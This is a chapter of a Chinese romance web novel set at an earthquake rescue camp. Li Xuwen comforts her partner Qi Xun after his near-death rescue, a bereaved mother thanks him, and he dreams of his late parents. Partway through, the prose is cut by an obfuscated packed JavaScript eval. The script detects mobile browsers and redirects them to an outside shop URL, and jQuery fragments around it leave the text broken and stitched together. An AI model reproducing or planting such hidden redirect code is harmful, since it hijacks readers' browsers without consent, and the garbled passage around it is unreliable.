103. 第 103 章

作品:《声声如叙[先婚后爱]

    到达震区的第一个夜晚,注定是许多人的不眠之夜。


    凌晨两点,医疗组、后勤组成员仍在通宵达旦,治疗伤员、登记物资和发电,每个人都累得话也说不出来,只剩白天几个留守在营地的人还能直立行走。


    收容帐前半边挤满了幸存者和病患,一波又一波,嘈杂得望不见头。黎叙闻被组长强制换下来休息,从收容帐出来,却又跑到后勤组临时搭起的办公处那边,跟阿咩一起写简报。


    阿咩眼睛也红红的,两个行动组的流程报告堆了一桌子,却还在把她往外推:“你快去睡,我自己来就行。”


    “睡不了,”黎叙闻摇着头坐下:“在等人。”


    她知道,今晚齐寻一定会来找他。


    阿咩莫名地失落了一瞬,点点头,没再推却。


    黎叙闻心烦意乱地整理流程报告,手头一顿,便看到了B组的那一份。


    前面是齐寻的字迹,字如其人,很沉稳方正,从到达目的地,到构图计划、清理外围废墟,再到启动声呐仪搜救,每个步骤都写得明确详细。


    再往下,就换了字迹。


    黎叙闻的心跟着这字迹,一起揪了起来。


    16:30–初步破拆完成,B组队长白蛇入坑


    17:10–收到白蛇消息,成功定位受困者坐标


    17:28–发生二次坍塌,白蛇被困


    17:40-侦测定位,评估出口,旧路径不可行


    18:00-收到白蛇信号,微弱,暂时安全


    18:23–转向侧向破拆


    20:00-彻底失去坑内讯号,怀疑白蛇和受困者死亡


    ……


    “死亡”两个字笔画扭曲着,刀子一样刺进她的眼睛。


    她明明没在现场,可这里的每一行,每个字,都不断地将她拉回那个属于他的战场。


    他在里面跟过去、跟命运搏命,而她被保护在大本营里,十指不沾泥。


    如果有什么时候,黎叙闻最痛恨自己、痛恨自己的父亲,那就是现在了。


    若她不是这样孱弱,她起码可以去现场守着他,哪怕帮不上忙、说不上话,他也会知道,她就在那里,只要活着出去,就能见到她。


    她不敢想,那个时候他有多艰难。


    指尖无意识地收紧,纸张边缘被她握成濡湿的波浪,无声地咆哮着,一直翻滚进她的心里。


    门口吊灯轻轻摇晃,门帘一起一落,一声温绵的呼唤陡然落入她的耳朵。


    “闻闻?”


    黎叙闻从汹涌的悲伤中抬起头,就看见她正心疼着的人,从纸上的生死边缘走了出来,出现在她的眼前。


    齐寻仍是平日里那般沉稳挺拔,身上的衣服已经不是她刚刚见到的那一件,门后的夜风带着他身上清爽的水汽,一齐涌进来。


    他笑得很柔和,几乎洗去了他惯有的泠然和紧绷,抱着双臂靠在门口,问她:“还没睡?”


    就仿佛刚刚蜷缩在角落里,手里握着铭牌,一遍一遍反刍那些难听的诅咒的人,不是他。


    阿咩第一个反应过来,收走桌上的资料,对黎叙闻道:“那我先去睡了。”


    说完冲帐篷里另外两个人摆了摆手,带他们一起出去了。


    其中一个后勤组成员路过齐寻时,奇怪地看了他一眼。


    刚刚她回来时,明明看见白蛇面色僵硬地站在门口,站了很长时间,都没有进来。


    他们副队……真是一个奇怪的人。


    几个人的脚步声踩在学校操场的水泥地上,踢踢踏踏地走远了。


    不远处的安置点传来孩子呜咽的哭声,近在咫尺,却泼不进他们之间的寂静。


    黎叙闻坐在桌前,定定地望着门口的人。


    那种眼神齐寻见过——在灾区救援时,他见过好几次拿着照片找亲人的人,到重逢时,他们的第一反应通常不是狂喜,而是一种从噩梦里醒来的恍然。


    现在的黎叙闻就是这种表情。


    齐寻压下复杂的念头,轻松道:“今天过得好吗?”


    黎叙闻像是才回过神来,忽然站起来,也笑着:“挺好的呀,就是忙。”她兀自站了一会儿,似乎才想起来,拍拍身边的椅子:“你累了吧,来坐。”


    齐寻答应了一声,心在这段客气到虚假的对话中隐隐作痛,后背紧绷着,慢慢走到她面前。


    可一靠近,他就觉得不对了。


    他原本想等自己冷静下来,整理好卫生,把所有都咽下去,然后再来看看她,确定她一切都好,就可以了。


    再难的时候都过来了,装这么几分钟,对他来说简直小事一桩。


    可一闻到她身上的味道,齐寻心里的某处严丝合缝的石板突然不妙地抖动了一下,一阵迟来的恐惧蓦地突破屏障,瞬间扬起几十米高的海啸,直接推翻了他所有伪装。


    他被冲得身形一晃,一个趔趄坐在了凳子上。


    下一刻,他忽然紧紧搂住她的腰,手指哆嗦着伸进她衬衫下摆,把头深深埋进了她柔软的小腹。


    她身上有他熟悉的香气,光滑柔旎的肌肤,还有一种温热的、属于活人的气息。


    齐寻埋在她身上,窒息般地大口呼吸,好像要借着她热气腾腾的身体,抵抗在他心底埋藏已久的死气。


    黎叙闻身体紧绷着,轻呼了一声,然后感觉到他温暖而急切的唇舌,竟在瞬间读懂了他的渴求。


    她的心钝痛着,裂成了好几瓣。


    于是她不再躲了,而是用力抱住他的头,让他更深、更紧地感受她。


    她的体温、她的接纳,和她无法言说的牵挂和等待。


    她浑身都在抖,分不清是她自己的内里在颤抖,还是齐寻的呼吸一直在战栗。


    有温热潮湿的触感在她身上缓缓洇开,她躬下身子,用身体将他包裹起来,鲜活有力的心跳每一下都响在他的耳边。


    她的气息和温度织成一张细密柔软的网,破碎的灵魂住在里面,得以安然。


    过了很长时间,齐寻才慢慢地松开她,眼底一片通红,说:“对不起。”


    黎叙闻喉咙一阵一阵地堵,轻轻擦他眼角,声音也浮浮沉沉:“怎么能不让我见你呢?”


    齐寻低着头,没回答。


    因为太难看了。


    在泥泞里挣扎的丑陋,那种拼命求生的姿态,是不会好看的。


    “你知道吗,我上次去疗养院啊,”黎叙闻摸着他的头发,忽然讲起了不相关的事:“我看到我爸对门的阿姨,正在往墙上抹粑粑。”


    齐寻一愣,困惑地抬头看她。


    黎叙闻摸摸他俊朗的眉眼:“我就想,好爽啊,以后我疯了,我也要天天抹,去我们主编办公室抹,抹完再去老马桌上抹。”


    齐寻实在听不下去,无奈地笑了:“想说什么?”


    黎叙闻收起浅浅的笑意:“以后我会欠你很多,所以现在,我先还你一点,行吗?”


    齐寻怔怔地望着她。


    望着望着,一头靠在她身上,还是笑:“可以,但能不能别抹粑粑,抹点别的?”


    黎叙闻吃吃地笑了一会儿,又去捻他耳垂:“……如果我不是这样,如果我……”


    嘴唇被齐寻用嘴封住了。


    但那不是一个有关情.欲的吻,而是浅浅一啄,带着点惩罚的意味。


    他没有说在里面的时候她是怎么用一个铭牌就救回了他的命,也没有说那个瞬间如果不是想再抱她一下,他真的想放手解脱。


    最后他只是说:“你在这,我就回得来。”


    他目光虔诚又温柔,这不像情话,像祷告。


    黎叙闻心柔软成一片,正要俯身亲他,门口却传来了一阵窸窣的动静。


    厚重门帘从外面掀开,露出一个B组队员为难的脸:“白蛇,找你半天了,那个……”他挠挠头:“今天那个女的,她想见你。”


    身后有个声音叽叽咕咕低声说了两句,他在帘子背后消失了片刻,又探进头来:“她说她没有恶意。”


    黎叙闻不明所以,齐寻点点头,平静道:“让她进来吧。”


    队员哦了声,从帐外推进来一辆轮椅,便退了出去。


    轮椅上坐着个苍白瘦削的年轻女人,披着保温毯,眼睛深深凹下去,嘴唇一片青白。


    她神色空茫地望着桌前灯下的两个人,慢慢把轮椅挪到跟前。


    黎叙闻一下子想起队友说的“他在现场被救出来的人刺激了”,立刻挡在齐寻前面,沉声问:“你要干什么?”


    那女人瑟缩了一下,咽了咽,没有说话。


    黎叙闻没有听到她当时跟齐寻说了什么,但他蜷缩在角落里的背影,把什么都告诉她了。


    “他救你是出于对生命的尊重,”她提高声音:“不代表他要做你苦难的替罪羊!”


    女人嗫嚅着低下头:“我知道,是我错了。”


    齐寻在闻闻身后轻轻拍她,低声说:“好了,别忘了你是志愿者。”


    黎叙闻抿了抿唇,嗯了声,拖过椅子坐在齐寻身边。


    ——态度再明显不过了:别想让她回避,一字一句她都要听清,休想再夹枪带棒欺负人。


    齐寻笑着握住她的手,又看向轮椅中的女人。


    她坐在灯光里,才让齐寻第一次完整清楚地看到了她的样子。


    虽然虚弱、颓然,但那仍是一张温柔的脸。


    她嗓音里还带着废墟磨出来的粗粝:“谢谢你救了我的命。”


    齐寻微微一点头:“你孩子的事,我很抱歉。”


    黎叙闻蓦地一愣。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226604|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她偏头看齐寻,他眉头微蹙,眸光在灯光里微微闪动着,眼底有一层浮动很深的悲伤。


    妇人静默地坐在他对面,呼吸都很轻,眼泪从她深陷的眼眶中汹涌而出,却没有发出一点声响。


    就这么坐了好半天,她忽然伸出冰凉的手,轻轻放在齐寻的手臂上。


    齐寻垂目看去,苍白的皮肤晃得他发晕。


    他认识这只手,当时在那个破碎的房间里,他将它当成了自己母亲的手,妄想从里面接过十年前他嫌弃的零钱。


    她手上的冰凉从皮肤一直渗入他的骨头,在那里坐落、凝结,长成了一根刺。


    “谢谢你的故事,”她慢慢地说:“也……谢谢你把我的孩子带出来。”


    她的指甲里还有深黑色的泥土,那是她拖着自己虚弱的身体,最后履行了母亲的责任,把孩子好好安葬后留下的痕迹。


    齐寻深深咽了咽,一句“节哀”卡在齿关,说不出口。


    大概是因为此时此刻他不是一个置身事外的救援队长,而是跟她一样,是一个从未走出过失去亲人的阴影的受难者。


    他们很久很久没有说话。


    帐外传来遥远的犬吠,和回来休整的队员窸窣的脚步声,室内的应急照明把他们的影子描得很淡,虚虚地叠在一起。


    良久之后,齐寻忽然问:“你的孩子离开你了,你会怪他吗?”


    妇人脸上覆着一层柔和的影子,看了他好一会儿。


    仿佛终于明白他在问什么,她笑着摇头:“做母亲的永远不会怪自己的孩子。如果他选择了现在跟我分离,就一定有他的道理。”


    齐寻一瞬不瞬地盯着她的脸,一声不吭,牙关却在微不可查地细细震颤。


    黎叙闻感觉到包着她拳头的掌心蓦地濡湿,渗了一层黏腻的冷汗,自己的眼眶也跟着酸涩起来。


    但此时此刻她说不出什么,也不能说,因为这一段路,齐寻只能自己走,只能靠他自己,挣扎着走向自由。


    妇人动作沉缓地把披在自己身上的毯子取下来,慢慢盖在齐寻的腿上,然后拍了拍他的手臂,转着轮椅准备离开。


    转身之前,她看了看黎叙闻,又看了看怔愣住的齐寻,轻声说:“你妈妈如果看到今天的你,一定会为你骄傲。”


    她声音依然艰涩,语气却极其认真,转身时留下的那个眼神,又熟悉,又陌生。


    齐寻连呼吸都停了。


    是这样的吗?


    原来他的父母并不会怪他独活吗?


    所以他独自活在世间,仍有机会看大千世界,仍可以用自己的双手救人,会不会他们留在这个世界上最后的遗物?


    他们真的……会为了他骄傲吗?


    那只一直攥在他心脏上、日夜不歇的手,在这个瞬间,在这间简陋的帐篷里,慢慢地化成一缕烟,消失了。


    他感到前所未有的自由。


    那天晚上,他窝在双人睡袋里,怀里抱着他的爱人,做了个特别好的梦。


    梦里还是他十六岁的那个家,父母都是那时候年轻的模样,而他却已经长大。


    他带着黎叙闻回家,将她作为未来要共度一生的人,郑重地介绍给爸妈。


    老两口高兴得不知怎么好,又是买菜做饭,又是怪他不提前知会,爸爸拿出自己给爱妻梳了十几年长发的梳子,五花大绑地送给闻闻,妈妈拉着闻闻的手,左看右看,怎么都看不够。


    齐寻就坐在一边笑着看。


    他知道自己在做梦,他在等自己醒来。


    “我们还得回你外婆家一趟呢,”妈妈说:“这么多年了哦,终于要见我了。”


    爸爸笑着转头交代他:“看见了吗,这就是拐人家女儿私奔的下场,你到时候可得跟你丈母娘好好提亲,听见没有?”


    他们相视一笑,对齐寻说:“寻寻,时间差不多了。你啊就少惦记我们,好好过你的日子。现在也有自己的家了哦,要好好对人家,知道不知道?”


    齐寻慢慢地出了一口气,竟然并不想哭。


    他牵着闻闻站起来,目送他们说笑着跟他挥挥手,最后转身,消失在了门口。


    大门合上的那一刻,齐寻在凌晨凉如水的黑暗里,轻轻睁开了眼睛。


    怀里的人还在安睡,把脸埋在他胸口,似乎尤其贪恋他的温度。


    她大概不会知道自己已经在他爸妈那里挂上了号,从此以后,就是他洗不脱的未婚妻了。


    那是个多好的画面,好到即使在梦里,他都觉得自己承受不起。


    齐寻亲了亲她的额角,闻闻在睡梦中动了动,又轻轻握住他的手。


    他抱着闻闻又躺了三分钟,才轻手轻脚地钻出睡袋,给她把保温杯灌满,放在身边。


    凌晨五点,他又要出发了。